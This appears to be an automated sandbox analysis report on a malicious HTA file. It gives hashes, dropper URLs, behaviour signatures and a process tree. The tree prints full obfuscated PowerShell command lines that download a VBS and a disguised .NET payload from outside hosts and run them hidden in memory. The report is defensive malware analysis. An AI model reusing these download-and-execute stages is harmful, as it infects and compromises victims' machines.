Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 07:27

General

  • Target

    seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta

  • Size

    207KB

  • MD5

    a9cf15c4f82d5c26f48f4a16dfe7bd1a

  • SHA1

    f7f0b669264b0a42b290cb5476e21ffa51eebf34

  • SHA256

    ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57

  • SHA512

    5a5f5e6d18a776646328ce85e59f12424f1fb8c2612d1299db7bc378177be369bb6e391488b02d40a682c37857bcf0576d415534c5aba4796f46c39ea5b21d2c

  • SSDEEP

    48:4FhWsTR/F7gNqXfkz0eZC0yZhboWWCRzESPUJ0cv5p299DdCf+xuj9AoapwSI0t7:43F97AIyCRRtnu4fAf+cZAoaDna8YQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
      "C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2436
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2688
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c9jh26xl.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7CFE.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7CFD.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2512
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2324
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2936

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES7CFE.tmp

    Filesize

    1KB

    MD5

    706df9868304181d17f617cc4b7b9bca

    SHA1

    f838e34ff3c31a9b4791e0a51513ad11a5d109e1

    SHA256

    3241a5ccc17e751145edf1a78018a3810df9c8f0992089647ad916abf4f0bc64

    SHA512

    25fcddffcb49e669062bb8357c0ee6845ebc7434abfaedecf8b218b54db8276a34e4bd33186351385eb6ea75fe66331c45213d5139c2f5b8a1d5f6c6ecb58590

  • C:\Users\Admin\AppData\Local\Temp\c9jh26xl.dll

    Filesize

    3KB

    MD5

    69c8f64446357f760a3fc3111bdf9fa0

    SHA1

    af7013cb25e93c195e900b211622f9558b8cb812

    SHA256

    776090315bcb64edec1ae8c2f41df389b9974c3d4d59f62167b9ad641f06d53a

    SHA512

    b13146e392006f4f3bc1e1da71a95dbed11b7aaa02293cb2577ecbd838c0eaa332dc6bfc9f54ea1ca4e081f06441626599b6d1f38f9453df8bbef51aa7ae4efa

  • C:\Users\Admin\AppData\Local\Temp\c9jh26xl.pdb

    Filesize

    7KB

    MD5

    46dfc2353e019bc901a19e0e2e0c348a

    SHA1

    903ec8c3634503cde5e17fd3a1310c9860fe1dad

    SHA256

    a9334645312eb8e8ea4bb4755231802aebfc9e1fa00ae726276afc48449ae914

    SHA512

    5683631ba9865ea10b2a3940509401d35e8e7d0144715fdbb4d965af210f8a3541408be3213950a54e043e4d41a229eea831169e37c489098a6753ad1d5c15e6

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    f4c7a780e1906037fc1970f1abaaf266

    SHA1

    3a9660701b8bcb425fbe851df947a0849c1123b5

    SHA256

    87f6146bc7f1a97d09ab3f3620c778c8469692116713caf48ca65a1dcd2ac402

    SHA512

    b539ac38936b1036de5cc2ef2bd9b90a19b0ff9ce66b1de8cea97e7021cd278c225aec383cc03468985649f5ab7070f6a665dc429480f2661ddbaed3f640cbab

  • C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS

    Filesize

    139KB

    MD5

    1860dcae987d5ed903d93a6cfc698eaf

    SHA1

    aaee36eb86bd7c80fd0ae9328bea5650f8c74d12

    SHA256

    d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3

    SHA512

    73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC7CFD.tmp

    Filesize

    652B

    MD5

    1272023feb4c560e89868f6be02e8d77

    SHA1

    31b1cdf941f22cc5dd84ea03332f131733bb7f31

    SHA256

    0212f1ff433cc16843f4f5f15848ad32482d596249ce22342135ac8b88a0eb6a

    SHA512

    1704eeee332c362a65c97a256ef998501b235e0f11454b01acb45fc05c895d4d6809282a66984cdeb25aa37285045e58dc08e702d1801e0aee03d9b1adb2722d

  • \??\c:\Users\Admin\AppData\Local\Temp\c9jh26xl.0.cs

    Filesize

    496B

    MD5

    f8f40cf06d8b2ceb49d38fdf52e8ecc0

    SHA1

    1ff0676c6503f21f4899ba1cbc30351318403804

    SHA256

    39f96499c4e911bc620f0facad68dab4452781beb339326f5910c5caea5714a2

    SHA512

    020e05dd5bd89e587dfa492086e433ea0620fb58ead54c1325a527ba8d1bf7251faa66116b69b4a802e4f2994215de1b146fd2df6f9347470e280bf7a22a7857

  • \??\c:\Users\Admin\AppData\Local\Temp\c9jh26xl.cmdline

    Filesize

    309B

    MD5

    c5bb54c7949e646bca196fa5a0850399

    SHA1

    830b1834183af2b5f95df331ed7b3cea63c9f044

    SHA256

    e1f4cbd5630944181eb77e811cdd1327f0208d1e8fa0c289249ee90bdf11714f

    SHA512

    5f761b12ac4f51a534ef82605cec7cd784fa97a86614b15ec6bc67b2b91adb865fb0dd96f9fd5210763b87361bedd866f3ad042603d964939fdd042bd6f97a08